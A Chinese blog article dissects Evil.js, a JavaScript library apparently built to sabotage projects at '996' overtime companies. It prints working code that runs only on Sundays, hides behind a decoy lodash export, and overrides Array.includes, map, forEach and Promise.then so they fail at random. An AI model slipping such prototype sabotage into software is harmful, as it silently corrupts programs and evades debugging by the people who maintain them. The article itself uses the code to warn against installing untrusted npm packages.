有人做了一个专毁996公司项目的JS库
前端大神之路
共 3747字,需浏览 8分钟
· 2022-08-24
背景
今天在我们前端早茶技术交流群里面看到一个图
大致是说这个Evil.js是为了毁灭你的996公司而诞生的
然后过了几个小时,这个事情,在圈子里传开了,作者立刻删除了。
咋们仅作为技术探讨,下面看看这个库是如何实现的。
他会让你的项目在周日的时候出现以下神奇的效果:
当数组长度可以被7整除时,Array.includes 永远返回false。 Array.map 有5%概率会丢失最后一个元素。 Array.filter 的结果有5%的概率丢失最后一个元素。 Array.forEach 会卡死一段时间。 setTimeout 总是会比预期时间慢1秒才触发。 Promise.then 有10%概率不会触发。 JSON.stringify 有30%概率会把I(大写字母I)变成l(小写字母L)。 Date.getTime() 的结果总是会慢一个小时。 localStorage.getItem 有5%几率返回空字符串。 Math.random() 的取值范围改为0到1.1
这样你的公司项目在周日的时候便会出现意想不到的神奇效果。
我们来看看他是如何实现的
源码地址:https://github.com/wheatup/evil.js
大概只有150行
源码大概的一个结构是:
const lodash = typeof require !== 'undefined' ? require('lodash') : {};
((global)=>
//do something
})((0, eval)('this'));
var _ = lodash;
if (typeof module !== 'undefined') {
// decoy export
module.exports = _;
}
主要业务逻辑都是在IIFE中。
首先IIFE中会判断当前是否周日
// 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
// Skip if it's not Sunday
if (new Date().getDay() !== 0) return;
通过重写数组的原型链上方法,includes方法当数组长度可以被7整除时,永远返回false
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时,本方法永远返回false
*/
const _includes = Array.prototype.includes;
const _indexOf = Array.prototype.indexOf;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
Array.prototype.indexOf = function (...args) {
if (this.length % 7 !== 0) {
return _indexOf.call(this, ...args);
} else {
return -1;
}
};
5%的几率让map方法丢失一个元素
/**
* Array.map has 5% chance drop the last element
* @zh Array.map方法的结果有5%几率丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
forEach方法会卡死一段时间(通过for循环阻塞)
/**
* Array.forEach will will cause a significant lag
* @zh Array.forEach会卡死一段时间
*/
const _forEach = Array.prototype.forEach;
Array.prototype.forEach = function(...args) {
for(let i = 0; i <= 1e7; i++);
return _forEach.call(this, ...args);
}
最骚的是这个,Promise.then方法10%概率不会触发
/**
* Promise.then has a 10% chance will not trigger
* @zh Promise.then 有10%几率不会触发
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (_rand() < 0.1) {
return new Promise(() => {});
} else {
return _then.call(this, ...args);
}
}
这简直会让你的项目无法开发和维护,无法定位问题。.then方法是整个ES6的异步核心API
结论
我们不要随便引入一个npm库,他如果修改原型上的方法可以做到攻击甚至有安全隐患。
另外,996 007是对打工人的压榨,每个人都应该有自己的生活
评论
盘点一个使用超级鹰识别验证码并自动登录的案例
点击上方“Python共享之家”,进行关注回复“资源”即可获赠Python学习资料今日鸡汤江上几人在,天涯孤棹还。大家好,我是皮皮。一、前言前几天在Python钻石交流群【静惜】问了一个Python实现识别验证码并自动登录的问题,提问截图如下:验证码的截图如下所示:二、实现过程这里大家激烈的探讨,【
IT共享之家
0
Eiten 一个构建投资组合的好帮手
Eiten是Tradytics的一个开源工具包,它实现了各种统计和算法投资策略,如Eigen组合、最小方差组合、最大夏普比率组合和基于遗传算法的组合。Eiten允许你用自己的股票组合建立自己的投资组合。Eiten中自带的严格测试框架使你能够对你的投资组合更有自信。1.准备开始之前,你要确保Pytho
Python实用宝典
0
delorean,一个超级实用的 Python 库!
作者通常周更,为了不错过更新,请点击上方“Python碎片”,“星标”公众号大家好,今天为大家分享一个超级实用的 Python 库 - delorean。Github地址:https://github.com/myusuf3/delorean/时间在计算机科学和软件开发中是一个至关重要的概念。Pyt
Python 碎片
0
公司开除员工的“100个理由”
定焦(dingjiaoone)原创作者 | 布鲁斯 向园 星星 温故编辑 | 温故最近,一位极越汽车的员工,自称因为买了小米汽车,在提车5天后就被公司开除了,而且没有赔偿金,理由是违反竞业协议。听起来,这一开除员工的理由足够“雷人”,引发广泛讨论。但很快,极越汽车回应称,该员工被辞退并非因
产品经理日记
0
轻松掌握开源项目的二次开发技巧
点击上方 前端Q,关注公众号回复加群,加入前端Q技术交流群本文作者:@方长_beezen 原文链接:https://juejin.cn/post/7358647992608489535前言随着软件行业的迅速发展,开源项目的重要性已经成为不言而喻的事实。它能够为开发人员节省大量时间和成本,避
前端Q
0
某程序员吐槽:公司最近招了一批35左右的,这帮人习惯天天卷到八点多,导致现在我们也要八点才下班
架构师大咖
架构师大咖,打造有价值的架构师交流平台。分享架构师干货、教程、课程、资讯。架构师大咖,每日推送。
公众号该公众号已被封禁某位程序员的吐槽引发了广泛的思考和共鸣。他抱怨公司
源码共读
0
如何动手做出一个 CPU,很简单
将Python客栈设为“星标⭐”第一时间收到最新资讯来源:无聊的闪客纯手工打造一个 CPU 这个事儿。在电子专业的同学眼里,很容易。在计算机专业的同学眼里,稍稍有点复杂,有的专业课的实验课可能会带着同学做一个,或者用 Logisim 这样的仿真软件去模拟实现一个。在非计算机专业的同学眼里,就有点不敢
Python客栈
0
CleverCSV,一个神奇的 python 库!
我的小册:(小白零基础用Python量化股票分析小册) ,原价299,限时特价2杯咖啡,满100人涨10元。来源丨网络介绍CleverCSV 是一个基于 Python 的库,旨在提供比标准库 csv 更智能和灵活的方法来处理 CSV 文件。该库使用机器学习算法来探测 CSV 文件的正确拨号结构,从而
菜鸟学Python
0